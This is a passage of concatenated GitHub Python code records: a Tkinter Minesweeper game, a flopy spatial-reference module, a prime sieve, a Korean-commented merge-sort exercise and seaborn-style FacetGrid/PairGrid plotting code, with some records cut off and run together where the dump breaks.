fg=\"#fff\", bg=\"#111\")\n self.lbl_high_score = Label(self.frame_left, font=(\"Helvetica\", 20), text=f\"High Score:\\n{info['high score']}\", fg=\"#fff\", bg=\"#111\")\n \n # All cells\n for x in range(GRID_SIZE):\n for y in range(GRID_SIZE):\n cell = Cell(x, y, images, self.lbl_time, self.lbl_flags, self.lbl_games_won, self.lbl_high_score)\n cell.create_btn_object(self.frame_right)\n cell.cell_btn_object.grid(column=x, row=y)\n Cell.random_mines()\n\n # Place Layout\n self.frame_top.place(x=0, y=0)\n self.frame_left.place(x=0, y=100)\n self.frame_right.place(x=200, y=100)\n self.lbl_time.place(x=100, y=50)\n self.lbl_flags.place(x=400, y=50)\n self.btn_exit.place(x=25, y=300)\n self.btn_restart.place(x=25, y=200)\n self.lbl_games_won.place(x=25, y=90)\n self.lbl_high_score.place(x=26, y=10)\n\n mainloop()\n\n @staticmethod\n def get_images():\n not_clicked = get_image(\"Images/not-clicked.png\")\n clicked = get_image(\"Images/clicked.png\")\n one = get_image(\"Images/1.jpg\")\n two = get_image(\"Images/2.jpg\")\n three = get_image(\"Images/3.jpg\")\n four = get_image(\"Images/4.jpg\")\n five = get_image(\"Images/5.jpg\")\n six = get_image(\"Images/6.png\")\n seven = get_image(\"Images/7.jpg\")\n eight = get_image(\"Images/8.png\")\n flag = get_image(\"Images/flag.jpg\")\n mine_blue = get_image(\"Images/mine-blue.png\")\n mine_green = get_image(\"Images/mine-green.png\")\n mine_orange = get_image(\"Images/mine-orange.png\")\n return [not_clicked, clicked, one, two, three, four, five, six, seven, eight, flag, mine_blue, mine_green, mine_orange]\n\n\nif __name__ == \"__main__\":\n Minesweeper()\n","repo_name":"Mani-Safarzadeh/Tkinter-Projects","sub_path":"Minesweeper game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"43779240919","text":"\"\"\"\r\nModule spatial and temporal referencing for flopy model objects\r\n\r\n\"\"\"\r\n\r\nfrom datetime import datetime\r\nimport numpy as np\r\n#import pandas as pd\r\n#from flopy.utils.util_array import util_2d\r\n\r\n# def temporalreference_from_binary_headers(recordarray, verbose=False):\r\n#\r\n# ukper = np.unique(recordarray['kper'])\r\n# totim = []\r\n# nstp = []\r\n# tsmult = []\r\n# for uk in ukper:\r\n# uk_recarray = recordarray[recordarray['kper'] == uk]\r\n# # what is tsmult used for?? Is it necessary for anything??\r\n# # no pertim in ucn file\r\n# tm = 1.0\r\n# try:\r\n# us = np.unique(uk_recarray['pertim'])\r\n# if us.shape[0] > 1:\r\n# tm = (us[1] / us[0]) - 1.0\r\n# except:\r\n# pass\r\n# t = uk_recarray['totim'].max()\r\n# n = uk_recarray['kstp'].max()\r\n# totim.append(t)\r\n# nstp.append(n)\r\n# tsmult.append(tm)\r\n# totim = np.array(totim, dtype=np.float32)\r\n# nstp = np.array(nstp, dtype=np.int)\r\n# tsmults = np.array(tsmult, dtype=np.float32)\r\n# perlen = [totim[0]]\r\n# perlen.extend(list(totim[1:] - totim[:-1]))\r\n# perlen = np.array(perlen, dtype=np.float32)\r\n# if verbose:\r\n# print('LayerFile._build_tr(): assuming time units of days...')\r\n# #should this be tsmults instead of tsmult??\r\n# tr = TemporalReference(np.array(perlen), np.zeros_like(nstp),\r\n# nstp, tsmult, 4)\r\n# return tr\r\n\r\ndef spatialreference_from_gridspc_file(filename, lenuni=0):\r\n f = open(filename,'r')\r\n lines = f.readlines()\r\n raw = f.readline().strip().split()\r\n nrow = int(raw[0])\r\n ncol = int(raw[1])\r\n raw = f.readline().strip().split()\r\n xul, yul, rot = float(raw[0]), float(raw[1]), float(raw[2])\r\n delr = []\r\n j = 0\r\n while j < ncol:\r\n raw = f.readline().strip().split()\r\n for r in raw:\r\n if '*' in r:\r\n rraw = r.split('*')\r\n for n in range(int(rraw[0])):\r\n delr.append(int(rraw[1]))\r\n j += 1\r\n else:\r\n delr.append(int(r))\r\n j += 1\r\n\r\n delc = []\r\n i = 0\r\n while i < nrow:\r\n raw = f.readline().strip().split()\r\n for r in raw:\r\n if '*' in r:\r\n rraw = r.split('*')\r\n for n in range(int(rraw[0])):\r\n delc.append(int(rraw[1]))\r\n i += 1\r\n else:\r\n delc.append(int(r))\r\n i += 1\r\n\r\n f.close()\r\n return SpatialReference(np.array(delr), np.array(delc),\r\n lenuni, xul=xul, yul=yul, rotation=rot)\r\n\r\nclass SpatialReference(object):\r\n\r\n def __init__(self, delr, delc, lenuni, xul=None, yul=None, rotation=0.0):\r\n \"\"\"\r\n delr: delr array\r\n delc: delc array\r\n lenuni: lenght unit code\r\n xul: x coord of upper left corner of grid\r\n yul: y coord of upper left corner of grid\r\n rotation_degrees: grid rotation\r\n \"\"\"\r\n self.delc = delc\r\n self.delr = delr\r\n\r\n self.nrow = self.delc.shape[0]\r\n self.ncol = self.delr.shape[0]\r\n\r\n self.lenuni = lenuni\r\n # Set origin and rotation\r\n if xul is None:\r\n self.xul = 0.\r\n else:\r\n self.xul = xul\r\n if yul is None:\r\n self.yul = np.add.reduce(self.delc)\r\n else:\r\n self.yul = yul\r\n self.rotation = rotation\r\n\r\n self._xgrid = None\r\n self._ygrid = None\r\n self._ycentergrid = None\r\n self._xcentergrid = None\r\n\r\n\r\n def __repr__(self):\r\n s = \"spatialReference:xul:{0: 1:\n max_limit = int(A ** 0.5)\n\n for i in range(2, max_limit + 1):\n if A % i == 0:\n return 0\n else:\n return 1\n else:\n return 0\n\n def seive(self,A):\n I=[]\n for i in range(0,A+1):\n p = self.isPrime(i)\n if p==1:\n I.append(i)\n return I\n\n\nif __name__ == \"__main__\":\n pascal = Solution()\n ans = pascal.seive(18)\n print(ans)","repo_name":"harshitksrivastava/100DaysOfCode","sub_path":"Arrays/Is_Prime.py","file_name":"Is_Prime.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1409448961","text":"\"\"\"\n[1, 2, 3, 5] # 정렬된 배열 A\n[4, 6, 7, 8] # 정렬된 배열 B\n[] # 두 집합을 합칠 빈 배열 C\n\n ↓\n1단계 : [**1**, 2, 3, 5]\n ↓\n [**4**, 6, 7, 8]\n 1과 4를 비교합니다!\n 1 < 4 이므로 1을 C 에 넣습니다.\n C:[1]\n\n ↓\n2단계 : [1, **2**, 3, 5]\n ↓\n [**4**, 6, 7, 8]\n 2와 4를 비교합니다!\n 2 < 4 이므로 2를 C 에 넣습니다.\n C:[1, 2]\n\n ↓\n3단계 : [1, 2, **3**, 5]\n ↓\n [**4**, 6, 7, 8]\n 3과 4를 비교합니다!\n 3 < 4 이므로 3을 C 에 넣습니다.\n C:[1, 2, 3]\n\n ↓\n3단계 : [1, 2, 3, **5**]\n ↓\n [**4**, 6, 7, 8]\n 5와 4를 비교합니다!\n 5 > 4 이므로 4을 C 에 넣습니다.\n C:[1, 2, 3, 4]\n\n ↓\n3단계 : [1, 2, 3, **5**]\n ↓\n [4, **6**, 7, 8]\n 5와 6을 비교합니다!\n 5 < 6 이므로 5을 C 에 넣습니다.\n C:[1, 2, 3, 4, 5]\n\n엇, 이렇게 되면 A 의 모든 원소는 끝났습니다!\n\n그러면 B에서 안 들어간 원소인\n [6, 7, 8] 은 어떡할까요?\n하나씩 C 에 추가해주면 됩니다.\n C:[1, 2, 3, 4, 5, 6, 7, 8] 이렇게요!\n\n그러면 A 와 B를 합치면서 정렬할 수 있었습니다.\n\n한 번, 직접 이 로직을 코드로 구현해보겠습니다!\n\n\"\"\"\narray_a = [1, 2, 3, 5]\narray_b = [4, 7, 6, 8]\n\n\ndef merge(array1, array2):\n array_c =[]\n array1_index=0\n array2_index=0\n while array1_index len(current_palette):\n colors = color_palette(\"husl\", n_colors)\n else:\n colors = color_palette(n_colors=n_colors)\n\n # Allow for palette to map from hue variable names\n elif isinstance(palette, dict):\n color_names = [palette[h] for h in hue_names]\n colors = color_palette(color_names, n_colors)\n\n # Otherwise act as if we just got a list of colors\n else:\n colors = color_palette(palette, n_colors)\n\n palette = color_palette(colors, n_colors)\n\n return palette\n\n\nclass FacetGrid(Grid):\n \"\"\"Subplot grid for plotting conditional relationships in a dataset.\"\"\"\n\n def __init__(self, data, row=None, col=None, hue=None, col_wrap=None,\n sharex=True, sharey=True, size=3, aspect=1, palette=None,\n row_order=None, col_order=None, hue_order=None, hue_kws=None,\n dropna=True, legend_out=True, despine=True,\n margin_titles=False, xlim=None, ylim=None, subplot_kws=None):\n \"\"\"Initialize the plot figure and FacetGrid object.\n\n Parameters\n ----------\n data : DataFrame\n Tidy (long-form) dataframe where each column is a variable and\n each row is an observation.\n row, col, hue : strings, optional\n Variable (column) names to subset the data for the facets.\n col_wrap : int, optional\n Wrap the column variable at this width. Incompatible with `row`.\n share{x, y}: booleans, optional\n Lock the limits of the vertical andn horizontal axes across the\n facets.\n size : scalar, optional\n Height (in inches) of each facet.\n aspect : scalar, optional\n Aspect * size gives the width (in inches) of each facet.\n palette : dict or seaborn color palette\n Set of colors for mapping the `hue` variable. If a dict, keys\n should be values in the `hue` variable.\n {row, col, hue}_order: sequence of strings\n Order to plot the values in the faceting variables in, otherwise\n sorts the unique values.\n hue_kws : dictionary of param -> list of values mapping\n Other keyword arguments to insert into the plotting call to let\n other plot attributes vary across levels of the hue variable (e.g.\n the markers in a scatterplot).\n dropna : boolean, optional\n Drop missing values from the data before plotting.\n legend_out: boolean, optional\n Draw the legend outside the grid of plots.\n despine : boolean, optional\n Remove the top and right spines from the plots.\n margin_titles : boolean, optional\n Write the column and row variable labels on the margins of the\n grid rather than above each plot.\n {x, y}lim: tuples, optional\n Limits for each of the axes on each facet when share{x, y} is True.\n subplot_kws : dict, optional\n Dictionary of keyword arguments.\n\n Returns\n -------\n self : FacetGrid\n Returns self for plotting onto the grid.\n\n See Also\n --------\n PairGrid : Subplot grid for plotting pairwise relationships.\n lmplot : Combines regplot and a FacetGrid\n factorplot : Combines pointplot, barplot, or boxplot and a FacetGrid\n\n \"\"\"\n # Compute the grid shape\n ncol = 1 if col is None else len(data[col].unique())\n nrow = 1 if row is None else len(data[row].unique())\n self._n_facets = ncol * nrow\n\n self._col_wrap = col_wrap\n if col_wrap is not None:\n ncol = col_wrap\n nrow = int(np.ceil(len(data[col].unique()) / col_wrap))\n self._ncol = ncol\n self._nrow = nrow\n\n # Calculate the base figure size\n # This can get stretched later by a legend\n figsize = (ncol * size * aspect, nrow * size)\n\n # Validate some inputs\n if col_wrap is not None:\n margin_titles = False\n\n # Build the subplot keyword dictionary\n subplot_kws = {} if subplot_kws is None else subplot_kws.copy()\n if xlim is not None:\n subplot_kws[\"xlim\"] = xlim\n if ylim is not None:\n subplot_kws[\"ylim\"] = ylim\n\n # Initialize the subplot grid\n if col_wrap is None:\n fig, axes = plt.subplots(nrow, ncol, figsize=figsize,\n squeeze=False,\n sharex=sharex, sharey=sharey,\n subplot_kw=subplot_kws)\n self.axes = axes\n\n else:\n # If wrapping the col variable we need to make the grid ourselves\n n_axes = len(data[col].unique())\n fig = plt.figure(figsize=figsize)\n axes = np.empty(n_axes, object)\n axes[0] = fig.add_subplot(nrow, ncol, 1, **subplot_kws)\n if sharex:\n subplot_kws[\"sharex\"] = axes[0]\n if sharey:\n subplot_kws[\"sharey\"] = axes[0]\n for i in range(1, n_axes):\n axes[i] = fig.add_subplot(nrow, ncol, i + 1, **subplot_kws)\n self.axes = axes\n\n # Now we turn off labels on the inner axes\n if sharex:\n for ax in self._not_bottom_axes:\n for label in ax.get_xticklabels():\n label.set_visible(False)\n ax.xaxis.offsetText.set_visible(False)\n if sharey:\n for ax in self._not_left_axes:\n for label in ax.get_yticklabels():\n label.set_visible(False)\n ax.yaxis.offsetText.set_visible(False)\n\n # Determine the hue facet layer information\n hue_var = hue\n if hue is None:\n hue_names = None\n else:\n if hue_order is None:\n hue_names = np.unique(np.sort(data[hue]))\n else:\n hue_names = hue_order\n if dropna:\n # Filter NA from the list of unique hue names\n hue_names = list(filter(pd.notnull, hue_names))\n\n colors = self._get_palette(data, hue, hue_order, palette, dropna)\n\n # Additional dict of kwarg -> list of values for mapping the hue var\n hue_kws = hue_kws if hue_kws is not None else {}\n\n # Make a boolean mask that is True anywhere there is an NA\n # value in one of the faceting variables, but only if dropna is True\n none_na = np.zeros(len(data), np.bool)\n if dropna:\n row_na = none_na if row is None else data[row].isnull()\n col_na = none_na if col is None else data[col].isnull()\n hue_na = none_na if hue is None else data[hue].isnull()\n not_na = ~(row_na | col_na | hue_na)\n else:\n not_na = ~none_na\n\n # Set up the lists of names for the row and column facet variables\n if row is None:\n row_names = []\n elif row_order is None:\n row_names = np.unique(np.sort(data[row]))\n else:\n row_names = row_order\n if dropna:\n row_names = list(filter(pd.notnull, row_names))\n\n if col is None:\n col_names = []\n elif col_order is None:\n col_names = np.unique(np.sort(data[col]))\n else:\n col_names = col_order\n if dropna:\n col_names = list(filter(pd.notnull, col_names))\n\n # Set up the class attributes\n # ---------------------------\n\n # First the public API\n self.data = data\n self.fig = fig\n self.axes = axes\n\n self.row_names = row_names\n self.col_names = col_names\n self.hue_names = hue_names\n self.hue_kws = hue_kws\n\n # Next the private variables\n self._nrow = nrow\n self._row_var = row\n self._ncol = ncol\n self._col_var = col\n\n self._margin_titles = margin_titles\n self._col_wrap = col_wrap\n self._hue_var = hue_var\n self._colors = colors\n self._legend_out = legend_out\n self._legend = None\n self._legend_data = {}\n self._x_var = None\n self._y_var = None\n self._dropna = dropna\n self._not_na = not_na\n\n # Make the axes look good\n fig.tight_layout()\n if despine:\n self.despine()\n\n def facet_data(self):\n \"\"\"Generator for name indices and data subsets for each facet.\n\n Yields\n ------\n (i, j, k), data_ijk : tuple of ints, DataFrame\n The ints provide an index into the {row, col, hue}_names attribute,\n and the dataframe contains a subset of the full data corresponding\n to each facet. The generator yields subsets that correspond with\n the self.axes.flat iterator, or self.axes[i, j] when `col_wrap`\n is None.\n\n \"\"\"\n data = self.data\n\n # Construct masks for the row variable\n if self._nrow == 1 or self._col_wrap is not None:\n row_masks = [np.repeat(True, len(self.data))]\n else:\n row_masks = [data[self._row_var] == n for n in self.row_names]\n\n # Construct masks for the column variable\n if self._ncol == 1:\n col_masks = [np.repeat(True, len(self.data))]\n else:\n col_masks = [data[self._col_var] == n for n in self.col_names]\n\n # Construct masks for the hue variable\n if len(self._colors) == 1:\n hue_masks = [np.repeat(True, len(self.data))]\n else:\n hue_masks = [data[self._hue_var] == n for n in self.hue_names]\n\n # Here is the main generator loop\n for (i, row), (j, col), (k, hue) in product(enumerate(row_masks),\n enumerate(col_masks),\n enumerate(hue_masks)):\n data_ijk = data[row & col & hue & self._not_na]\n yield (i, j, k), data_ijk\n\n def map(self, func, *args, **kwargs):\n \"\"\"Apply a plotting function to each facet's subset of the data.\n\n Parameters\n ----------\n func : callable\n A plotting function that takes data and keyword arguments. It\n must plot to the currently active matplotlib Axes and take a\n `color` keyword argument. If faceting on the `hue` dimension,\n it must also take a `label` keyword argument.\n args : strings\n Column names in self.data that identify variables with data to\n plot. The data for each variable is passed to `func` in the\n order the variables are specified in the call.\n kwargs : keyword arguments\n All keyword arguments are passed to the plotting function.\n\n Returns\n -------\n self : object\n Returns self.\n\n \"\"\"\n # If color was a keyword argument, grab it here\n kw_color = kwargs.pop(\"color\", None)\n\n # Iterate over the data subsets\n for (row_i, col_j, hue_k), data_ijk in self.facet_data():\n\n # If this subset is null, move on\n if not data_ijk.values.tolist():\n continue\n\n # Get the current axis\n ax = self.facet_axis(row_i, col_j)\n\n # Decide what color to plot with\n kwargs[\"color\"] = self._facet_color(hue_k, kw_color)\n\n # Insert the other hue aesthetics if appropriate\n for kw, val_list in self.hue_kws.items():\n kwargs[kw] = val_list[hue_k]\n\n # Insert a label in the keyword arguments for the legend\n if self._hue_var is not None:\n kwargs[\"label\"] = str(self.hue_names[hue_k])\n\n # Get the actual data we are going to plot with\n plot_data = data_ijk[list(args)]\n if self._dropna:\n plot_data = plot_data.dropna()\n plot_args = [v for k, v in plot_data.iteritems()]\n\n # Some matplotlib functions don't handle pandas objects correctly\n if func.__module__.startswith(\"matplotlib\"):\n plot_args = [v.values for v in plot_args]\n\n # Draw the plot\n self._facet_plot(func, ax, plot_args, kwargs)\n\n # Finalize the annotations and layout\n self._finalize_grid(args[:2])\n\n return self\n\n def map_dataframe(self, func, *args, **kwargs):\n \"\"\"Like `map` but passes args as strings and inserts data in kwargs.\n\n This method is suitable for plotting with functions that accept a\n long-form DataFrame as a `data` keyword argument and access the\n data in that DataFrame using string variable names.\n\n Parameters\n ----------\n func : callable\n A plotting function that takes data and keyword arguments. Unlike\n the `map` method, a function used here must \"understand\" Pandas\n objects. It also must plot to the currently active matplotlib Axes\n and take a `color` keyword argument. If faceting on the `hue`\n dimension, it must also take a `label` keyword argument.\n args : strings\n Column names in self.data that identify variables with data to\n plot. The data for each variable is passed to `func` in the\n order the variables are specified in the call.\n kwargs : keyword arguments\n All keyword arguments are passed to the plotting function.\n\n Returns\n -------\n self : object\n Returns self.\n\n \"\"\"\n\n # If color was a keyword argument, grab it here\n kw_color = kwargs.pop(\"color\", None)\n\n # Iterate over the data subsets\n for (row_i, col_j, hue_k), data_ijk in self.facet_data():\n\n # If this subset is null, move on\n if not data_ijk.values.tolist():\n continue\n\n # Get the current axis\n ax = self.facet_axis(row_i, col_j)\n\n # Decide what color to plot with\n kwargs[\"color\"] = self._facet_color(hue_k, kw_color)\n\n # Insert the other hue aesthetics if appropriate\n for kw, val_list in self.hue_kws.items():\n kwargs[kw] = val_list[hue_k]\n\n # Insert a label in the keyword arguments for the legend\n if self._hue_var is not None:\n kwargs[\"label\"] = self.hue_names[hue_k]\n\n # Stick the facet dataframe into the kwargs\n if self._dropna:\n data_ijk = data_ijk.dropna()\n kwargs[\"data\"] = data_ijk\n\n # Draw the plot\n self._facet_plot(func, ax, args, kwargs)\n\n # Finalize the annotations and layout\n self._finalize_grid(args[:2])\n\n return self\n\n def _facet_color(self, hue_index, kw_color):\n\n color = self._colors[hue_index]\n if kw_color is not None:\n return kw_color\n elif color is not None:\n return color\n\n def _facet_plot(self, func, ax, plot_args, plot_kwargs):\n\n # Draw the plot\n func(*plot_args, **plot_kwargs)\n\n # Sort out the supporting information\n self._update_legend_data(ax)\n self._clean_axis(ax)\n\n def _finalize_grid(self, axlabels):\n \"\"\"Finalize the annotations and layout.\"\"\"\n self.set_axis_labels(*axlabels)\n self.set_titles()\n self.fig.tight_layout()\n\n def facet_axis(self, row_i, col_j):\n \"\"\"Make the axis identified by these indices active and return it.\"\"\"\n\n # Calculate the actual indices of the axes to plot on\n if self._col_wrap is not None:\n ax = self.axes.flat[col_j]\n else:\n ax = self.axes[row_i, col_j]\n\n # Get a reference to the axes object we want, and make it active\n plt.sca(ax)\n return ax\n\n def despine(self, **kwargs):\n \"\"\"Remove axis spines from the facets.\"\"\"\n utils.despine(self.fig, **kwargs)\n return self\n\n def set_axis_labels(self, x_var=None, y_var=None):\n \"\"\"Set axis labels on the left column and bottom row of the grid.\"\"\"\n if x_var is not None:\n self._x_var = x_var\n self.set_xlabels(x_var)\n if y_var is not None:\n self._y_var = y_var\n self.set_ylabels(y_var)\n return self\n\n def set_xlabels(self, label=None, **kwargs):\n \"\"\"Label the x axis on the bottom row of the grid.\"\"\"\n if label is None:\n label = self._x_var\n for ax in self._bottom_axes:\n ax.set_xlabel(label, **kwargs)\n return self\n\n def set_ylabels(self, label=None, **kwargs):\n \"\"\"Label the y axis on the left column of the grid.\"\"\"\n if label is None:\n label = self._y_var\n for ax in self._left_axes:\n ax.set_ylabel(label, **kwargs)\n return self\n\n def set_xticklabels(self, labels=None, step=None, **kwargs):\n \"\"\"Set x axis tick labels on the bottom row of the grid.\"\"\"\n for ax in self.axes[-1, :]:\n if labels is None:\n labels = [l.get_text() for l in ax.get_xticklabels()]\n if step is not None:\n xticks = ax.get_xticks()[::step]\n labels = labels[::step]\n ax.set_xticks(xticks)\n ax.set_xticklabels(labels, **kwargs)\n return self\n\n def set_yticklabels(self, labels=None, **kwargs):\n \"\"\"Set y axis tick labels on the left column of the grid.\"\"\"\n for ax in self.axes[-1, :]:\n if labels is None:\n labels = [l.get_text() for l in ax.get_yticklabels()]\n ax.set_yticklabels(labels, **kwargs)\n return self\n\n def set_titles(self, template=None, row_template=None, col_template=None,\n **kwargs):\n \"\"\"Draw titles either above each facet or on the grid margins.\n\n Parameters\n ----------\n template : string\n Template for all titles with the formatting keys {col_var} and\n {col_name} (if using a `col` faceting variable) and/or {row_var}\n and {row_name} (if using a `row` faceting variable).\n row_template:\n Template for the row variable when titles are drawn on the grid\n margins. Must have {row_var} and {row_name} formatting keys.\n col_template:\n Template for the row variable when titles are drawn on the grid\n margins. Must have {col_var} and {col_name} formatting keys.\n\n Returns\n -------\n self: object\n Returns self.\n\n \"\"\"\n args = dict(row_var=self._row_var, col_var=self._col_var)\n kwargs[\"size\"] = kwargs.pop(\"size\", mpl.rcParams[\"axes.labelsize\"])\n\n # Establish default templates\n if row_template is None:\n row_template = \"{row_var} = {row_name}\"\n if col_template is None:\n col_template = \"{col_var} = {col_name}\"\n if template is None:\n if self._row_var is None:\n template = col_template\n elif self._col_var is None:\n template = row_template\n else:\n template = \" | \".join([row_template, col_template])\n\n if self._margin_titles:\n if self.row_names is not None:\n # Draw the row titles on the right edge of the grid\n for i, row_name in enumerate(self.row_names):\n ax = self.axes[i, -1]\n args.update(dict(row_name=row_name))\n title = row_template.format(**args)\n trans = self.fig.transFigure.inverted()\n bbox = ax.bbox.transformed(trans)\n x = bbox.xmax + 0.01\n y = bbox.ymax - (bbox.height / 2)\n self.fig.text(x, y, title, rotation=270,\n ha=\"left\", va=\"center\", **kwargs)\n if self.col_names is not None:\n # Draw the column titles as normal titles\n for j, col_name in enumerate(self.col_names):\n args.update(dict(col_name=col_name))\n title = col_template.format(**args)\n self.axes[0, j].set_title(title, **kwargs)\n\n return self\n\n # Otherwise title each facet with all the necessary information\n if (self._row_var is not None) and (self._col_var is not None):\n for i, row_name in enumerate(self.row_names):\n for j, col_name in enumerate(self.col_names):\n args.update(dict(row_name=row_name, col_name=col_name))\n title = template.format(**args)\n self.axes[i, j].set_title(title, **kwargs)\n elif self.row_names is not None and len(self.row_names):\n for i, row_name in enumerate(self.row_names):\n args.update(dict(row_name=row_name))\n title = template.format(**args)\n self.axes[i, 0].set_title(title, **kwargs)\n elif self.col_names is not None and len(self.col_names):\n for i, col_name in enumerate(self.col_names):\n args.update(dict(col_name=col_name))\n title = template.format(**args)\n # Index the flat array so col_wrap works\n self.axes.flat[i].set_title(title, **kwargs)\n return self\n\n @property\n def _inner_axes(self):\n \"\"\"Return a flat array of the inner axes.\"\"\"\n if self._col_wrap is None:\n return self.axes[:-1, 1:].flat\n else:\n axes = []\n n_empty = self._nrow * self._ncol - self._n_facets\n for i, ax in enumerate(self.axes):\n append = (i % self._ncol and\n i < (self._ncol * (self._nrow - 1)) and\n i < (self._ncol * (self._nrow - 1) - n_empty))\n if append:\n axes.append(ax)\n return np.array(axes, object).flat\n\n @property\n def _left_axes(self):\n \"\"\"Return a flat array of the left column of axes.\"\"\"\n if self._col_wrap is None:\n return self.axes[:, 0].flat\n else:\n axes = []\n for i, ax in enumerate(self.axes):\n if not i % self._ncol:\n axes.append(ax)\n return np.array(axes, object).flat\n\n @property\n def _not_left_axes(self):\n \"\"\"Return a flat array of axes that aren't on the left column.\"\"\"\n if self._col_wrap is None:\n return self.axes[:, 1:].flat\n else:\n axes = []\n for i, ax in enumerate(self.axes):\n if i % self._ncol:\n axes.append(ax)\n return np.array(axes, object).flat\n\n @property\n def _bottom_axes(self):\n \"\"\"Return a flat array of the bottom row of axes.\"\"\"\n if self._col_wrap is None:\n return self.axes[-1, :].flat\n else:\n axes = []\n n_empty = self._nrow * self._ncol - self._n_facets\n for i, ax in enumerate(self.axes):\n append = (i >= (self._ncol * (self._nrow - 1)) or\n i >= (self._ncol * (self._nrow - 1) - n_empty))\n if append:\n axes.append(ax)\n return np.array(axes, object).flat\n\n @property\n def _not_bottom_axes(self):\n \"\"\"Return a flat array of axes that aren't on the bottom row.\"\"\"\n if self._col_wrap is None:\n return self.axes[:-1, :].flat\n else:\n axes = []\n n_empty = self._nrow * self._ncol - self._n_facets\n for i, ax in enumerate(self.axes):\n append = (i < (self._ncol * (self._nrow - 1)) and\n i < (self._ncol * (self._nrow - 1) - n_empty))\n if append:\n axes.append(ax)\n return np.array(axes, object).flat\n\n\nclass PairGrid(Grid):\n \"\"\"Subplot grid for plotting pairwise relationships in a dataset.\"\"\"\n\n def __init__(self, data, hue=None, hue_order=None, palette=None,\n hue_kws=None, vars=None, x_vars=None, y_vars=None,\n diag_sharey=True, size=3, aspect=1,\n despine=True, dropna=True):\n \"\"\"Initialize the plot figure and PairGrid object.\n\n Parameters\n ----------\n data : DataFrame\n Tidy (long-form) dataframe where each column is a variable and\n each row is an observation.\n hue : string (variable name), optional\n Variable in ``data`` to map plot aspects to different colors.\n hue_order : list of strings\n Order for the levels of the hue variable in the palette\n palette : dict or seaborn color palette\n Set of colors for mapping the ``hue`` variable. If a dict, keys\n should be values in the ``hue`` variable.\n hue_kws : dictionary of param -> list of values mapping\n Other keyword arguments to insert into the plotting call to let\n other plot attributes vary across levels of the hue variable (e.g.\n the markers in a scatterplot).\n vars : list of variable names, optional\n Variables within ``data`` to use, otherwise use every column with\n a numeric datatype.\n {x, y}_vars : lists of variable names, optional\n Variables within ``data`` to use separately for the rows and\n columns of the figure; i.e. to make a non-square plot.\n size : scalar, optional\n Height (in inches) of each facet.\n aspect : scalar, optional\n Aspect * size gives the width (in inches) of each facet.\n despine : boolean, optional\n Remove the top and right spines from the plots.\n dropna : boolean, optional\n Drop missing values from the data before plotting.\n\n Returns\n -------\n self : PairGrid\n Returns self for plotting onto the grid.\n\n See Also\n --------\n FacetGrid : Subplot grid for plotting conditional relationships.\n pairplot : Function for easily drawing common uses of PairGrid.\n\n \"\"\"\n\n # Sort out the variables that define the grid\n if vars is not None:\n x_vars = list(vars)\n y_vars = list(vars)\n elif (x_vars is not None) or (y_vars is not None):\n if (x_vars is None) or (y_vars is None):\n raise ValueError(\"Must specify `x_vars` and `y_vars`\")\n else:\n numeric_cols = self._find_numeric_cols(data)\n x_vars = numeric_cols\n y_vars = numeric_cols\n\n if np.isscalar(x_vars):\n x_vars = [x_vars]\n if np.isscalar(y_vars):\n y_vars = [y_vars]\n\n self.x_vars = list(x_vars)\n self.y_vars = list(y_vars)\n self.square_grid = self.x_vars == self.y_vars\n\n # Create the figure and the array of subplots\n figsize = len(x_vars) * size * aspect, len(y_vars) * size\n\n fig, axes = plt.subplots(len(y_vars), len(x_vars),\n figsize=figsize,\n sharex=\"col\", sharey=\"row\",\n squeeze=False)\n\n self.fig = fig\n self.axes = axes\n self.data = data\n\n # Save what we are going to do with the diagonal\n self.diag_sharey = diag_sharey\n self.diag_axes = None\n\n # Label the axes\n self._add_axis_labels()\n\n # Sort out the hue variable\n self._hue_var = hue\n if hue is None:\n self.hue_names = None\n self.hue_vals = pd.Series([\"_nolegend_\"] * len(data),\n index=data.index)\n else:\n if hue_order is None:\n hue_names = np.unique(np.sort(data[hue]))\n else:\n hue_names = hue_order\n if dropna:\n # Filter NA from the list of unique hue names\n hue_names = list(filter(pd.notnull, hue_names))\n self.hue_names = hue_names\n self.hue_vals = data[hue]\n\n # Additional dict of kwarg -> list of values for mapping the hue var\n self.hue_kws = hue_kws if hue_kws is not None else {}\n\n self.palette = self._get_palette(data, hue, hue_order, palette, dropna)\n self._legend_data = {}\n\n # Make the plot look nice\n if despine:\n utils.despine(fig=fig)\n fig.tight_layout()\n\n def map(self, func, **kwargs):\n \"\"\"Plot with the same function in every subplot.\n\n Parameters\n ----------\n func : callable plotting function\n Must take x, y arrays as positional arguments and draw onto the\n \"currently active\" matplotlib Axes.\n\n \"\"\"\n kw_color = kwargs.pop(\"color\", None)\n for i, y_var in enumerate(self.y_vars):\n for j, x_var in enumerate(self.x_vars):\n hue_grouped = self.data.groupby(self.hue_vals)\n for k, (label_k, data_k) in enumerate(hue_grouped):\n ax = self.axes[i, j]\n plt.sca(ax)\n\n # Insert the other hue aesthetics if appropriate\n for kw, val_list in self.hue_kws.items():\n kwargs[kw] = val_list[k]\n\n color = self.palette[k] if kw_color is None else kw_color\n func(data_k[x_var], data_k[y_var],\n label=label_k, color=color, **kwargs)\n\n self._clean_axis(ax)\n self._update_legend_data(ax)\n\n if kw_color is not None:\n kwargs[\"color\"] = kw_color\n self._add_axis_labels()\n\n def map_diag(self, func, **kwargs):\n \"\"\"Plot with a univariate function on each diagonal subplot.\n\n Parameters\n ----------\n func : callable plotting function\n Must take an x array as a positional arguments and draw onto the\n \"currently active\" matplotlib Axes. There is a special case when\n using a ``hue`` variable and ``plt.hist``; the histogram will be\n plotted with stacked bars.\n\n \"\"\"\n # Add special diagonal axes for the univariate plot\n if self.square_grid and self.diag_axes is None:\n diag_axes = []\n for i, (var, ax) in enumerate(zip(self.x_vars,\n np.diag(self.axes))):\n if i and self.diag_sharey:\n diag_ax = ax._make_twin_axes(sharex=ax,\n sharey=diag_axes[0],\n frameon=False)\n else:\n diag_ax = ax._make_twin_axes(sharex=ax, frameon=False)\n diag_ax.set_axis_off()\n diag_axes.append(diag_ax)\n self.diag_axes = np.array(diag_axes, np.object)\n else:\n self.diag_axes = None\n\n # Plot on each of the diagonal axes\n for i, var in enumerate(self.x_vars):\n ax = self.diag_axes[i]\n hue_grouped = self.data[var].groupby(self.hue_vals)\n\n # Special-case plt.hist with stacked bars\n if func is plt.hist:\n plt.sca(ax)\n vals = [v.values for g, v in 